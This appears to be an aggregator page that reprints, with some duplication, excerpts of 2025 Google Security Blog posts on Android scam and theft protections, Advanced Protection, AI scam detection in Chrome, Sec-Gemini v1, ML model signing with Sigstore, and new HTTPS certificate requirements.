Our research shows that phone scammers often try to trick people into performing specific actions to initiate a scam, like changing default device security settings or granting elevated permissions to an app. These actions can result in spying, fraud, and other abuse by giving an attacker deeper access to your device and data. To combat phone scammers, we’re working to block specific actions and warn you of these sophisticated attempts. This happens completely on device and is applied only with conversations with non-contacts. 

Android’s new in-call protections 1 provide an additional layer of defense, preventing you from taking risky security actions during a call like:

 Disabling Google Play Protect , Android’s built-in security protection, that is on by default and continuously scans for malicious app behavior, no matter the download source.

 Sideloading an app for the first time from a web browser, messaging app or other source – which may not have been vetted for security and privacy by Google. 

 Granting accessibility permissions, which can give a newly downloaded malicious app access to gain control over the user's device and steal sensitive/private data, like banking information. 

And if you’re screen sharing during a phone call, Android will now automatically prompt you to stop sharing at the
Sources:
Google Security Research: What’s New in Android Security and Privacy in 2025: https://security.googleblog.com/2025/05/whats-new-in-android-security-privacy-2025.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Dave Kleidermacher, VP Engineering, Android Security and Privacy

Android’s intelligent protections keep you safe from everyday dangers. Our dedication to your security is validated by security experts, who consistently rank top Android devices highest in security, and score Android smartphones, led by the Pixel 9 Pro, as leaders in anti-fraud efficacy .

Android is always developing new protections to keep you, your device, and your data safe. Today, we’re announcing new features and enhancements that build on our industry-leading protections to help keep you safe from scams, fraud, and theft on Android.

 Smarter protections against phone call scams 

Our research shows that phone scammers often try to trick people into performing specific actions to initiate a scam, like changing default device security settings or granting elevated permissions to an app. These actions can result in spying, fraud, and other abuse by giving an attacker deeper access to your device and data. To combat phone scammers, we’re working to block specific actions and warn you of these sophisticated attempts. This happens completely on device and is applied only with conversations with non-contacts. 

Android’s new in-call protections 1 provide an additional layer of defense, preventing you from taking risky security actions during a call like:

 Disabling Google Play Protect , Android’s built-in security protection, that is on by default and continuously scans for malicious app behavior, no matter the download source.

 Sideloading an app for the first time from a web browser, messaging app or other source – which may not have been vetted for security and privacy by Google. 

 Granting accessibility permissions, which can give a newly downloaded malicious app access to gain control over the user's device and steal sensitive/private data, like banking information. 

And if you’re screen sharing during a phone call, Android will now automatically prompt you to stop sharing at the end of a call. These protections help safeguard you against scammers that attempt to gain access to sensitive information to conduct fraud. 

 Piloting enhanced in-call protection for banking apps 

Screen sharing scams are becoming quite common, with fraudsters often impersonating banks, government agencies, and other trusted institutions – using screen sharing to guide users to perform costly actions such as mobile banking transfers. To better protect you from these attacks, we’re piloting new in-call protections for banking apps, starting in the UK. 

When you launch a participating banking app while screen sharing with an unknown contact, your Android device will warn you about the potential dangers and give you the option to end the call and to stop screen sharing with one tap. 

This feature will be enabled automatically for participating banking apps whenever you're on a phone call with an unknown contact on Android 11+ devices. We are working with UK banks Monzo, NatWest and Revolut to pilot this feature for their customers in the coming weeks and will assess the results of the pilot ahead of a wider roll out. 

 Making real-time Scam Detection in Google Messages even more intelligent 

 We recently launched AI-powered Scam Detection in Google Messages and Phone by Google to protect you from conversational scams that might sound innocent at first, but turn malicious and can lead to financial loss or data theft. When Scam Detection discovers a suspicious conversation pattern, it warns you in real-time so you can react before falling victim to a costly scam. 

AI-powered Scam Detection is always improving to help keep you safe while also keeping your privacy in mind. With Google’s advanced on-device AI, your conversations stay private to you. All message processing remains on-device and you’re always in control. You can turn off Spam Protection, which includes Scam Detection, in your Google Messages at any time.

Prior to targeting conversational scams, Scam Detection in Google Messages focused on analyzing and detecting package delivery and job seeking scams . We’ve now expanded our detections to help protect you from a wider variety of sophisticated scams including: 

 Toll road and other billing fee scams 

 Crypto scams

 Financial impersonation scams 

 Gift card and prize scams 

 Technical support scams 

 And more

These enhancements apply to all Google Messages users.

 Fighting fraud and impersonation with Key Verifier 

To help protect you from scammers who try to impersonate someone you know, we’re launching a helpful tool called Key Verifier. The feature allows you and the person you’re messaging to verify the identity of the other party through public encryption keys, protecting your end-to-end encrypted messages in Google Messages. By verifying contact keys in your Google Contacts app (through a QR code scanning or number comparison), you can have an extra layer of assurance that the person on the other end is genuine and that your conversation is private with them. 

Key Verifier provides a visual way for you and your contact to quickly confirm that your secret keys match, strengthening your confidence that you’re communicating with the intended recipient and not a scammer. For example, if an attacker gains access to a friend’s phone number and uses it on another device to send you a message – which can happen as a result of a SIM swap attack – their contact's verification status will be marked as no longer verified in the Google Contacts app, suggesting your friend’s account may be compromised or has been changed. Key Verifier will launch later this summer in Google Messages on Android 10+ devices. 

 Comprehensive mobile theft protection, now even stronger 

Physical device theft can lead to financial fraud and data theft, with the value of your banking and payment information many times exceeding the value of your phone. This is one of the reasons why last year we launched the mobile industry’s most comprehensive suite of theft protection features to protect you before, during, and after a theft. Since launch, our theft protection features have helped protect data on hundreds of thousands of devices that may have fallen into the wrong hands. This includes devices that were locked by Remote Lock or Theft Detection Lock and remained locked for over 48 hours. 

Most recently, we launched Identity Check for Pixel and Samsung One UI 7 devices, providing an extra layer of security even if your PIN or password is compromised. This protection will also now be available from more device manufacturers on supported devices that upgrade to Android 16. 

Coming later this year, we’re further hardening Factory Reset protections, which will restrict all functionalities on devices that are reset without the owner’s authorization. You'll also gain more control over our Remote Lock feature with the addition of a security challenge question, helping to prevent unauthorized actions.

We’re also enhancing your security against thieves in Android 16 by providing more protection for one-time passwords that are received when your phone is locked. In higher risk scenarios 2 , Android will hide one-time passwords on your lock screen, ensuring that only you can see them after unlocking your device. 

 Advanced Protection: Google’s strongest security for mobile devices 

Protecting users who need heightened security has been a long-standing commitment at Google, which is why we have our Advanced Protection Program that provides Google’s strongest protections against targeted attacks.

To enhance these existing device defenses, Android 16 extends Advanced Protection with a device-level security setting for Android users. Whether you’re an at-risk individual – such as a journalist, elected official, or public figure – or you just prioritize security, Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’r
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Advanced Protection: Google’s Strongest Security for Mobile Devices
https://kevwire.com/record/google-security-advanced-protection-mobile-devices-ec7dff9def97
Advanced Protection: Google’s Strongest Security for Mobile Devices (May 13, 2025).
Posted by Il-Sung Lee, Group Product Manager, Android Security 

Protecting users who need heightened security has been a long-standing commitment at Google, which is why we have our Advanced Protection Program that provides Google’s strongest protections against targeted attacks.

To enhance these existing device defenses, Android 16 extends Advanced Protection with a device-level security setting for Android users. Whether you’re an at-risk individual – such as a journalist, elected official, or public figure – or you just prioritize security, Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re protected against the most sophisticated threats.

 Simple to activate, powerful in protection 

 Advanced Protection ensures all of Android's highest security features are enabled and are seamlessly working together to safeguard you against online attacks, harmful apps, and data risks. 

Advanced Protection activates a powerful array of security features, combining new capabilities with pre-existing ones that have earned top ratings in security comparisons , all designed to protect your device across several critical areas.

We're also introducing innovative, Android-specific features, such as Intrusion Logging. This industry-first feature securely backs up device logs in a privacy-preserving and tamper-resistant way, accessible only to the user. These logs enable a forensic analysis if a device compromise is ever suspected. 

Advanced Protection gives users:

 Best-in-class protection, minimal disruption: Advanced Protection gives users the option to equip their devices with Android’s most effective security features for proactive defense, with a user-friendly and low-friction experience.

 Easy activation: Advanced Protection makes security easy and accessible. You don’t need to be a security expert to benefit from enhanced security. 

 Defense-in-depth: Once a user turns on Adv
Sources:
Google Security Research: Advanced Protection: Google’s Strongest Security for Mobile Devices: https://security.googleblog.com/2025/05/advanced-protection-mobile-devices.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Il-Sung Lee, Group Product Manager, Android Security 

Protecting users who need heightened security has been a long-standing commitment at Google, which is why we have our Advanced Protection Program that provides Google’s strongest protections against targeted attacks.

To enhance these existing device defenses, Android 16 extends Advanced Protection with a device-level security setting for Android users. Whether you’re an at-risk individual – such as a journalist, elected official, or public figure – or you just prioritize security, Advanced Protection gives you the ability to activate Google’s strongest security for mobile devices, providing greater peace of mind that you’re protected against the most sophisticated threats.

 Simple to activate, powerful in protection 

 Advanced Protection ensures all of Android's highest security features are enabled and are seamlessly working together to safeguard you against online attacks, harmful apps, and data risks. 

Advanced Protection activates a powerful array of security features, combining new capabilities with pre-existing ones that have earned top ratings in security comparisons , all designed to protect your device across several critical areas.

We're also introducing innovative, Android-specific features, such as Intrusion Logging. This industry-first feature securely backs up device logs in a privacy-preserving and tamper-resistant way, accessible only to the user. These logs enable a forensic analysis if a device compromise is ever suspected. 

Advanced Protection gives users:

 Best-in-class protection, minimal disruption: Advanced Protection gives users the option to equip their devices with Android’s most effective security features for proactive defense, with a user-friendly and low-friction experience.

 Easy activation: Advanced Protection makes security easy and accessible. You don’t need to be a security expert to benefit from enhanced security. 

 Defense-in-depth: Once a user turns on Advanced Protection, the system prevents accidental or malicious disablement of the individual security features under the Advanced Protection umbrella. This reflects a "defense-in-depth" strategy, where multiple security layers work together.

 Seamless security integration with apps: Advanced Protection acts as a single control point that enables important security settings across many of your favorite Google apps, including Chrome, Google Message, and Phone by Google. Advanced Protection will also incorporate third-party applications that choose to integrate in the future. 

 How your Android device becomes fortified with Advanced Protection 

Advanced Protection manages the following existing and new security features for your device, ensuring they are activated and cannot be disabled across critical protection areas:

 Continuously evolving Advanced Protection 

 With the release of Android 16, users who choose to activate Advanced Protection will gain immediate access to a core suite of enhanced security features. Additional Advanced Protection features like Intrusion Logging, USB protection, the option to disable auto-reconnect to insecure networks, and integration with Scam Detection for Phone by Google will become available later this year. 

We are committed to continuously expanding the security and privacy capabilities within Advanced Protection, so users can benefit from the best of Android’s powerful security features.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Using AI to stop tech support scams in Chrome
https://kevwire.com/record/google-security-using-ai-to-stop-tech-support-scams-in-4acd9006ec67
Using AI to stop tech support scams in Chrome (May 8, 2025).
Posted by Jasika Bawa, Andy Lim, and Xinghui Lu, Google Chrome Security 

Tech support scams are an increasingly prevalent form of cybercrime, characterized by deceptive tactics aimed at extorting money or gaining unauthorized access to sensitive data. In a tech support scam, the goal of the scammer is to trick you into believing your computer has a serious problem, such as a virus or malware infection, and then convince you to pay for unnecessary services, software, or grant them remote access to your device. Tech support scams on the web often employ alarming pop-up warnings mimicking legitimate security alerts. We've also observed them to use full-screen takeovers and disable keyboard and mouse input to create a sense of crisis. 

Chrome has always worked with Google Safe Browsing to help keep you safe online. Now, with this week's launch of Chrome 137, Chrome will offer an additional layer of protection using the on-device Gemini Nano large language model (LLM). This new feature will leverage the LLM to generate signals that will be used by Safe Browsing in order to deliver higher confidence verdicts about potentially dangerous sites like tech support scams.

Initial research using LLMs has shown that they are relatively effective at understanding and classifying the varied, complex nature of websites. As such, we believe we can leverage LLMs to help detect scams at scale and adapt to new tactics more quickly. But why on-device? Leveraging LLMs on-device allows us to see threats when users see them. We’ve found that the average malicious site exists for less than 10 minutes, so on-device protection allows us to detect and block attacks that haven't been crawled before. The on-device approach also empowers us to see threats the way users see them. Sites can render themselves differently for different users, often for legitimate purposes (e.g. to account for device differences, offer personalization, provide time-sensitive content), but sometimes for illegitimate
AI classification: defense; evidence: reported. The official teams report AI-assisted security detection, vulnerability discovery, or defender workflows. The result was not independently reproduced here and does not establish attacker AI use or universal effectiveness.
Sources:
Google Security Research: Using AI to stop tech support scams in Chrome: https://security.googleblog.com/2025/05/using-ai-to-stop-tech-support-scams-in.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Jasika Bawa, Andy Lim, and Xinghui Lu, Google Chrome Security 

Tech support scams are an increasingly prevalent form of cybercrime, characterized by deceptive tactics aimed at extorting money or gaining unauthorized access to sensitive data. In a tech support scam, the goal of the scammer is to trick you into believing your computer has a serious problem, such as a virus or malware infection, and then convince you to pay for unnecessary services, software, or grant them remote access to your device. Tech support scams on the web often employ alarming pop-up warnings mimicking legitimate security alerts. We've also observed them to use full-screen takeovers and disable keyboard and mouse input to create a sense of crisis. 

Chrome has always worked with Google Safe Browsing to help keep you safe online. Now, with this week's launch of Chrome 137, Chrome will offer an additional layer of protection using the on-device Gemini Nano large language model (LLM). This new feature will leverage the LLM to generate signals that will be used by Safe Browsing in order to deliver higher confidence verdicts about potentially dangerous sites like tech support scams.

Initial research using LLMs has shown that they are relatively effective at understanding and classifying the varied, complex nature of websites. As such, we believe we can leverage LLMs to help detect scams at scale and adapt to new tactics more quickly. But why on-device? Leveraging LLMs on-device allows us to see threats when users see them. We’ve found that the average malicious site exists for less than 10 minutes, so on-device protection allows us to detect and block attacks that haven't been crawled before. The on-device approach also empowers us to see threats the way users see them. Sites can render themselves differently for different users, often for legitimate purposes (e.g. to account for device differences, offer personalization, provide time-sensitive content), but sometimes for illegitimate purposes (e.g. to evade security crawlers) – as such, having visibility into how sites are presenting themselves to real users enhances our ability to assess the web.

 How it works 

At a high level, here's how this new layer of protection works. 

Overview of how on-device LLM assistance in mitigating scams works

When a user navigates to a potentially dangerous page, specific triggers that are characteristic of tech support scams (for example, the use of the keyboard lock API ) will cause Chrome to evaluate the page using the on-device Gemini Nano LLM. Chrome provides the LLM with the contents of the page that the user is on and queries it to extract security signals, such as the intent of the page. This information is then sent to Safe Browsing for a final verdict. If Safe Browsing determines that the page is likely to be a scam based on the LLM output it receives from the client, in addition to other intelligence and metadata about the site, Chrome will show a warning interstitial.

This is all done in a way that preserves performance and privacy. In addition to ensuring that the LLM is only triggered sparingly and run locally on the device, we carefully manage resource consumption by considering the number of tokens used, running the process asynchronously to avoid interrupting browser activity, and implementing throttling and quota enforcement mechanisms to limit GPU usage. LLM-summarized security signals are only sent to Safe Browsing for users who have opted-in to the Enhanced Protection mode of Safe Browsing in Chrome, giving them protection against threats Google may not have seen before. Standard Protection users will also benefit indirectly from this feature as we add newly discovered dangerous sites to blocklists.

 Future considerations 

The scam landscape continues to evolve, with bad actors constantly adapting their tactics. Beyond tech support scams, in the future we plan to use the capabilities described in this post to help detect other popular scam types, such as package tracking scams and unpaid toll scams. We also plan to utilize the growing power of Gemini to extract additional signals from website content, which will further enhance our detection capabilities. To protect even more users from scams, we are working on rolling out this feature to Chrome on Android later this year. And finally, we are collaborating with our research counterparts to explore solutions to potential exploits such as prompt injection in content and timing bypass.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Google announces Sec-Gemini v1, a new experimental cybersecurity model
https://kevwire.com/record/google-security-google-launches-sec-gemini-v1-new-d1774208acfd
Google announces Sec-Gemini v1, a new experimental cybersecurity model (Apr 4, 2025).
Posted by Elie Burzstein and Marianna Tishchenko, Sec-Gemini team 

 Today, we’re announcing Sec-Gemini v1, a new experimental AI model focused on advancing cybersecurity AI frontiers. 

 As outlined a year ago, defenders face the daunting task of securing against all cyber threats, while attackers need to successfully find and exploit only a single vulnerability. This fundamental asymmetry has made securing systems extremely difficult, time consuming and error prone. AI-powered cybersecurity workflows have the potential to help shift the balance back to the defenders by force multiplying cybersecurity professionals like never before. 

 Effectively powering SecOps workflows requires state-of-the-art reasoning capabilities and extensive current cybersecurity knowledge. Sec-Gemini v1 achieves this by combining Gemini’s advanced capabilities with near real-time cybersecurity knowledge and tooling. This combination allows it to achieve superior performance on key cybersecurity workflows, including incident root cause analysis, threat analysis, and vulnerability impact understanding. 

 We firmly believe that successfully pushing AI cybersecurity frontiers to decisively tilt the balance in favor of the defenders requires a strong collaboration across the cybersecurity community. This is why we are making Sec-Gemini v1 freely available to select organizations, institutions, professionals, and NGOs for research purposes. 

 Sec-Gemini v1 outperforms other models on key cybersecurity benchmarks as a result of its advanced integration of Google Threat Intelligence (GTI), OSV , and other key data sources. Sec-Gemini v1 outperforms other models on CTI-MCQ, a leading threat intelligence benchmark, by at least 11% (See Figure 1). It also outperforms other models by at least 10.5% on the CTI-Root Cause Mapping benchmark (See Figure 2): 

 Figure 1 : Sec-Gemini v1 outperforms other models on the CTI-MCQ Cybersecurity Threat Intelligence benchmark. 

 Figure 2 : Sec-Gemini v1 has
Sources:
Google Security Research: Google announces Sec-Gemini v1, a new experimental cybersecurity model: https://security.googleblog.com/2025/04/google-launches-sec-gemini-v1-new.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Elie Burzstein and Marianna Tishchenko, Sec-Gemini team 

 Today, we’re announcing Sec-Gemini v1, a new experimental AI model focused on advancing cybersecurity AI frontiers. 

 As outlined a year ago, defenders face the daunting task of securing against all cyber threats, while attackers need to successfully find and exploit only a single vulnerability. This fundamental asymmetry has made securing systems extremely difficult, time consuming and error prone. AI-powered cybersecurity workflows have the potential to help shift the balance back to the defenders by force multiplying cybersecurity professionals like never before. 

 Effectively powering SecOps workflows requires state-of-the-art reasoning capabilities and extensive current cybersecurity knowledge. Sec-Gemini v1 achieves this by combining Gemini’s advanced capabilities with near real-time cybersecurity knowledge and tooling. This combination allows it to achieve superior performance on key cybersecurity workflows, including incident root cause analysis, threat analysis, and vulnerability impact understanding. 

 We firmly believe that successfully pushing AI cybersecurity frontiers to decisively tilt the balance in favor of the defenders requires a strong collaboration across the cybersecurity community. This is why we are making Sec-Gemini v1 freely available to select organizations, institutions, professionals, and NGOs for research purposes. 

 Sec-Gemini v1 outperforms other models on key cybersecurity benchmarks as a result of its advanced integration of Google Threat Intelligence (GTI), OSV , and other key data sources. Sec-Gemini v1 outperforms other models on CTI-MCQ, a leading threat intelligence benchmark, by at least 11% (See Figure 1). It also outperforms other models by at least 10.5% on the CTI-Root Cause Mapping benchmark (See Figure 2): 

 Figure 1 : Sec-Gemini v1 outperforms other models on the CTI-MCQ Cybersecurity Threat Intelligence benchmark. 

 Figure 2 : Sec-Gemini v1 has outperformed other models in a Cybersecurity Threat Intelligence-Root Cause Mapping (CTI-RCM) benchmark that evaluates an LLM's ability to understand the nuances of vulnerability descriptions, identify vulnerabilities underlying root causes, and accurately classify them according to the CWE taxonomy. 

 Below is an example of the comprehensiveness of Sec-Gemini v1’s answers in response to key cybersecurity questions. First, Sec-Gemini v1 is able to determine that Salt Typhoon is a threat actor (not all models do) and provides a comprehensive description of that threat actor, thanks to its deep integration with Mandiant Threat intelligence data. 

 Next, in response to a question about the vulnerabilities in the Salt Typhoon description, Sec-Gemini v1 outputs not only vulnerability details (thanks to its integration with OSV data, the open-source vulnerabilities database operated by Google), but also contextualizes the vulnerabilities with respect to threat actors (using Mandiant data). With Sec-Gemini v1, analysts can understand the risk and threat profile associated with specific vulnerabilities faster. 

 If you are interested in collaborating with us on advancing the AI cybersecurity frontier, please request early access to Sec-Gemini v1 via this form .

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Taming the Wild West of ML: Practical Model Signing with Sigstore
https://kevwire.com/record/google-security-taming-wild-west-of-ml-practical-model-ab5e42e56f96
Taming the Wild West of ML: Practical Model Signing with Sigstore (Apr 4, 2025).
Posted by Mihai Maruseac, Google Open Source Security Team (GOSST) 

 In partnership with NVIDIA and HiddenLayer, as part of the Open Source Security Foundation , we are now launching the first stable version of our model signing library . Using digital signatures like those from Sigstore , we allow users to verify that the model used by the application is exactly the model that was created by the developers. In this blog post we will illustrate why this release is important from Google’s point of view. 

 With the advent of LLMs, the ML field has entered an era of rapid evolution. We have seen remarkable progress leading to weekly launches of various applications which incorporate ML models to perform tasks ranging from customer support, software development, and even performing security critical tasks. 

 However, this has also opened the door to a new wave of security threats. Model and data poisoning , prompt injection , prompt leaking and prompt evasion are just a few of the risks that have recently been in the news. Garnering less attention are the risks around the ML supply chain process: since models are an uninspectable collection of weights (sometimes also with arbitrary code), an attacker can tamper with them and achieve significant impact to those using the models. Users, developers, and practitioners need to examine an important question during their risk assessment process: “can I trust this model?” 

 Since its launch, Google’s Secure AI Framework (SAIF) has created guidance and technical solutions for creating AI applications that users can trust. A first step in achieving trust in the model is to permit users to verify its integrity and provenance, to prevent tampering across all processes from training to usage, via cryptographic signing. 

 The ML supply chain 

 To understand the need for the model signing project, let’s look at the way ML powered applications are developed, with an eye to where malicious tampering can occur. 

 Applications that
Sources:
Google Security Research: Taming the Wild West of ML: Practical Model Signing with Sigstore: https://security.googleblog.com/2025/04/taming-wild-west-of-ml-practical-model.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Mihai Maruseac, Google Open Source Security Team (GOSST) 

 In partnership with NVIDIA and HiddenLayer, as part of the Open Source Security Foundation , we are now launching the first stable version of our model signing library . Using digital signatures like those from Sigstore , we allow users to verify that the model used by the application is exactly the model that was created by the developers. In this blog post we will illustrate why this release is important from Google’s point of view. 

 With the advent of LLMs, the ML field has entered an era of rapid evolution. We have seen remarkable progress leading to weekly launches of various applications which incorporate ML models to perform tasks ranging from customer support, software development, and even performing security critical tasks. 

 However, this has also opened the door to a new wave of security threats. Model and data poisoning , prompt injection , prompt leaking and prompt evasion are just a few of the risks that have recently been in the news. Garnering less attention are the risks around the ML supply chain process: since models are an uninspectable collection of weights (sometimes also with arbitrary code), an attacker can tamper with them and achieve significant impact to those using the models. Users, developers, and practitioners need to examine an important question during their risk assessment process: “can I trust this model?” 

 Since its launch, Google’s Secure AI Framework (SAIF) has created guidance and technical solutions for creating AI applications that users can trust. A first step in achieving trust in the model is to permit users to verify its integrity and provenance, to prevent tampering across all processes from training to usage, via cryptographic signing. 

 The ML supply chain 

 To understand the need for the model signing project, let’s look at the way ML powered applications are developed, with an eye to where malicious tampering can occur. 

 Applications that use advanced AI models are typically developed in at least three different stages. First, a large foundation model is trained on large datasets. Next, a separate ML team finetunes the model to make it achieve good performance on application specific tasks. Finally, this fine-tuned model is embedded into an application. 

 The three steps involved in building an application that uses large language models. 

 These three stages are usually handled by different teams, and potentially even different companies, since each stage requires specialized expertise. To make models available from one stage to the next, practitioners leverage model hubs , which are repositories for storing models. Kaggle and HuggingFace are popular open source options, although internal model hubs could also be used. 

 This separation into stages creates multiple opportunities where a malicious user (or external threat actor who has compromised the internal infrastructure) could tamper with the model. This could range from just a slight alteration of the model weights that control model behavior, to injecting architectural backdoors — completely new model behaviors and capabilities that could be triggered only on specific inputs. It is also possible to exploit the serialization format and inject arbitrary code execution in the model as saved on disk — our whitepaper on AI supply chain integrity goes into more details on how popular model serialization libraries could be exploited. The following diagram summarizes the risks across the ML supply chain for developing a single model, as discussed in the whitepaper. 

 The supply chain diagram for building a single model, illustrating some supply chain risks (oval labels) and where model signing can defend against them (check marks) 

 The diagram shows several places where the model could be compromised. Most of these could be prevented by signing the model during training and verifying integrity before any usage, in every step: the signature would have to be verified when the model gets uploaded to a model hub, when the model gets selected to be deployed into an application (embedded or via remote APIs) and when the model is used as an intermediary during another training run. Assuming the training infrastructure is trustworthy and not compromised, this approach guarantees that each model user can trust the model. 

 Sigstore for ML models 

 Signing models is inspired by code signing, a critical step in traditional software development. A signed binary artifact helps users identify its producer and prevents tampering after publication. The average developer, however, would not want to manage keys and rotate them on compromise. 

 These challenges are addressed by using Sigstore , a collection of tools and services that make code signing secure and easy. By binding an OpenID Connect token to a workload or developer identity, Sigstore alleviates the need to manage or rotate long-lived secrets. Furthermore, signing is made transparent so signatures over malicious artifacts could be audited in a public transparency log, by anyone. This ensures that split-view attacks are not possible, so any user would get the exact same model. These features are why we recommend Sigstore’s signing mechanism as the default approach for signing ML models. 

 Today the OSS community is releasing the v1.0 stable version of our model signing library as a Python package supporting Sigstore and traditional signing methods. This model signing library is specialized to handle the sheer scale of ML models (which are usually much larger than traditional software components), and handles signing models represented as a directory tree. The package provides CLI utilities so that users can sign and verify model signatures for individual models. The package can also be used as a library which we plan to incorporate directly into model hub upload flows as well as into ML frameworks. 

 Future goals 

 We can view model signing as establishing the foundation of trust in the ML ecosystem. We envision extending this approach to also include datasets and other ML-related artifacts. Then, we plan to build on top of signatures, towards fully tamper-proof metadata records, that can be read by both humans and machines. This has the potential to automate a significant fraction of the work needed to perform incident response in case of a compromise in the ML world. In an ideal world, an ML developer would not need to perform any code changes to the training code, while the framework itself would handle model signing and verification in a transparent manner. 

 If you are interested in the future of this project, join the OpenSSF meetings attached to the project . To shape the future of building tamper-proof ML, join the Coalition for Secure AI , where we are planning to work on building the entire trust ecosystem together with the open source community. In collaboration with multiple industry partners, we are starting up a special interest group under CoSAI for defining the future of ML signing and including tamper-proof ML metadata, such as model cards and evaluation results.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### New security requirements adopted by HTTPS certificate industry
https://kevwire.com/record/google-security-new-security-requirements-adopted-by-4ca89d3433bc
New security requirements adopted by HTTPS certificate industry (Mar 27, 2025).
Posted by Chrome Root Program, Chrome Security Team 

The Chrome Root Program launched in 2022 as part of Google’s ongoing commitment to upholding secure and reliable network connections in Chrome. We previously described how the Chrome Root Program keeps users safe , and described how the program is focused on promoting technologies and practices that strengthen the underlying security assurances provided by Transport Layer Security (TLS). Many of these initiatives are described on our forward looking, public roadmap named “ Moving Forward, Together. ”

At a high-level, “Moving Forward, Together” is our vision of the future. It is non-normative and considered distinct from the requirements detailed in the Chrome Root Program Policy . It’s focused on themes that we feel are essential to further improving the Web PKI ecosystem going forward, complementing Chrome’s core principles of speed, security, stability, and simplicity. These themes include:

 Encouraging modern infrastructures and agility

 Focusing on simplicity

 Promoting automation

 Reducing mis-issuance

 Increasing accountability and ecosystem integrity

 Streamlining and improving domain validation practices

 Preparing for a "post-quantum" world

Earlier this month, two “Moving Forward, Together” initiatives became required practices in the CA/Browser Forum Baseline Requirements (BRs). The CA/Browser Forum is a cross-industry group that works together to develop minimum requirements for TLS certificates. Ultimately, these new initiatives represent an improvement to the security and agility of every TLS connection relied upon by Chrome users.

If you’re unfamiliar with HTTPS and certificates, see the “Introduction” of this blog post for a high-level overview.

 Multi-Perspective Issuance Corroboration 

Before issuing a certificate to a website, a Certification Authority (CA) must verify the requestor legitimately controls the domain whose name will be represented in the certificate. This process is re
Sources:
Google Security Research: New security requirements adopted by HTTPS certificate industry: https://security.googleblog.com/2025/03/new-security-requirements-adopted-by.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Chrome Root Program, Chrome Security Team 

The Chrome Root Program launched in 2022 as part of Google’s ongoing commitment to upholding secure and reliable network connections in Chrome. We previously described how the Chrome Root Program keeps users safe , and described how the program is focused on promoting technologies and practices that strengthen the underlying security assurances provided by Transport Layer Security (TLS). Many of these initiatives are described on our forward looking, public roadmap named “ Moving Forward, Together. ”

At a high-level, “Moving Forward, Together” is our vision of the future. It is non-normative and considered distinct from the requirements detailed in the Chrome Root Program Policy . It’s focused on themes that we feel are essential to further improving the Web PKI ecosystem going forward, complementing Chrome’s core principles of speed, security, stability, and simplicity. These themes include:

 Encouraging modern infrastructures and agility

 Focusing on simplicity

 Promoting automation

 Reducing mis-issuance

 Increasing accountability and ecosystem integrity

 Streamlining and improving domain validation practices

 Preparing for a "post-quantum" world

Earlier this month, two “Moving Forward, Together” initiatives became required practices in the CA/Browser Forum Baseline Requirements (BRs). The CA/Browser Forum is a cross-industry group that works together to develop minimum requirements for TLS certificates. Ultimately, these new initiatives represent an improvement to the security and agility of every TLS connection relied upon by Chrome users.

If you’re unfamiliar with HTTPS and certificates, see the “Introduction” of this blog post for a high-level overview.

 Multi-Perspective Issuance Corroboration 

Before issuing a certificate to a website, a Certification Authority (CA) must verify the requestor legitimately controls the domain whose name will be represented in the certificate. This process is referred to as "domain control validation" and there are several well-defined methods that can be used. For example, a CA can specify a random value to be placed on a website, and then perform a check to verify the value’s presence has been published by the certificate requestor.

Despite the existing domain control validation requirements defined by the CA/Browser Forum, peer-reviewed research authored by the Center for Information Technology Policy (CITP) of Princeton University and others highlighted the risk of Border Gateway Protocol (BGP) attacks and prefix-hijacking resulting in fraudulently issued certificates. This risk was not merely theoretical, as it was demonstrated that attackers successfully exploited this vulnerability on numerous occasions, with just one of these attacks resulting in approximately $2 million dollars of direct losses.

Multi-Perspective Issuance Corroboration (referred to as "MPIC") enhances existing domain control validation methods by reducing the likelihood that routing attacks can result in fraudulently issued certificates. Rather than performing domain control validation and authorization from a single geographic or routing vantage point, which an adversary could influence as demonstrated by security researchers, MPIC implementations perform the same validation from multiple geographic locations and/or Internet Service Providers. This has been observed as an effective countermeasure against ethically conducted, real-world BGP hijacks. 

The Chrome Root Program led a work team of ecosystem participants, which culminated in a CA/Browser Forum Ballot to require adoption of MPIC via Ballot SC-067 . The ballot received unanimous support from organizations who participated in voting. Beginning March 15, 2025, CAs issuing publicly-trusted certificates must now rely on MPIC as part of their certificate issuance process. Some of these CAs are relying on the Open MPIC Project to ensure their implementations are robust and consistent with ecosystem expectations.

We’d especially like to thank Henry Birge-Lee, Grace Cimaszewski, Liang Wang, Cyrill Krähenbühl, Mihir Kshirsagar, Prateek Mittal, Jennifer Rexford, and others from Princeton University for their sustained efforts in promoting meaningful web security improvements and ongoing partnership.

 Linting 

Linting refers to the automated process of analyzing X.509 certificates to detect and prevent errors, inconsistencies, and non-compliance with requirements and industry standards. Linting ensures certificates are well-formatted and include the necessary data for their intended use, such as website authentication. 

